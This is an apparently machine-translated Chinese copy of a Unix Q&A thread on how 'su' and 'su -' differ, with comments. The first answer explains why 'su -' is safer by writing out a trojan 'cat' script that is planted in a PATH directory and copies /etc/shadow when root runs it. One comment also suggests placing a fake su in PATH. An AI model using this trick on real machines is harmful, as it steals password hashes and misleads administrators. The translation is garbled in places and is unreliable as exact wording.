su -
比su
更喜欢以root用户身份登录。#1 楼
su -
在切换用户后调用登录shell。登录外壳程序会重置大多数环境变量,从而提供一个干净的基础。su
只是切换用户,从而为普通外壳程序提供了与旧用户几乎相同的环境。想象一下,您是一名软件开发人员,具有对计算机的正常用户访问权限,而您的无知管理员将不会授予您root访问权限。让我们(希望)欺骗他。 !
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
如果您的管理员不那么聪明或有点懒,他可能会来您的办公桌前尝试使用他的超级用户权限:
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
哇!谢谢,超级管理员!
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
他,他。
您可能已经注意到损坏的
cat
变量未重置。如果管理员改为调用$PATH
,则不会发生这种情况。#2 楼
su -
完全以root用户身份登录,而su
则以root用户身份登录。目录,如果您使用~
。根据您的系统,这也可能意味着提示,
su -
或历史记录文件有所不同。一个系统,并且您的同事为您提供了一个要运行的命令,您知道如果两者都使用su
,它将运行相同的命令,但是如果您俩都使用PATH
,则由于您使用不同的Shell配置,可能会有所不同。 > 另一方面,如果您想以root用户身份运行命令但使用自己的配置,那么
su -
可能更适合您。也不要忘记
su
,有一个su
选项可以启动以root用户身份运行的shell。当然,这也有不同的规则,它们会根据您使用的发行版而变化。评论
当我“ su”时,我得到〜和$ HOME都评估为/ root。您描述的行为是特定于某些Shell或OS版本还是某些东西?我的理解是〜可以被内核扩展。我有zsh作为我的(和root的)shell。
–JasonWoof
2011年2月8日,0:05
您的.bashrc或/ etc / bashrc或/etc/profile.d脚本正在设置PATH。寻找[$ UID -eq 0]或类似的东西。
– Mikel
2011年2月8日,1:14
例如,$ USER保持不变。
–彼得
2014年1月30日,11:13
sudo su呢?
–西蒙·匡(Simon Kuang)
2014年7月18日在20:10
您的示例对我不起作用。我得到以任何一种方式解析的相同目录。
–丹尼尔·W。
16年4月18日在14:45
#3 楼
主要区别在于:su - username
将shell环境设置为好像是作为指定用户的干净登录名一样,它可以访问和使用指定用户的环境变量。启动具有指定用户当前环境设置的Shell。如果未使用
su username
和su
指定用户名,则默认使用根帐户。#4 楼
我使用su-当我以常规用户身份进入目录但要切换到root并在切换后保留在同一目录中时。当您使用su-时,它会将用户切换到root用户,并且还会带您到/ root这是根主目录。评论
或/或任何定义为根目录的主目录
– Jeff Schaller♦
18年6月7日在23:42
评论
su-与su相同。
– Mikel
2011年2月7日在20:08
-是一个标志,大多数程序将其解释为“在此之后什么都不应视为标志”。用来处理以破折号开头的内容。
–大卫·麦金托什(David Mackintosh)
2011年2月9日下午4:43
不要忘记将umask设置为000,否则它将不起作用。
– Lekensteyn
11-10-22在8:48
最好只是将su文件放在PATH中。模仿真实su的行为并不难。无论如何,超级用户一直很粗心:-)
–StéphaneGimenez
2012年2月28日在18:53
su-与su-不同:-告诉getopt(s)(或类似的)选项处理程序停止处理命令行以获取其他选项(例如,如果其余部分包含可以以'-开头的文件名,则用')。即,在“ rm -i--f”中:-f然后被视为常规参数,因此这里是rm -i的文件名,而不是rm命令的附加-foption。所以su-只是su而不是su-!因此,su-对于wag的(有趣而有启发性的)示例givan来说是不安全的。使用su-。
–奥利维尔·杜拉克(Olivier Dulac)
2012年12月26日15:05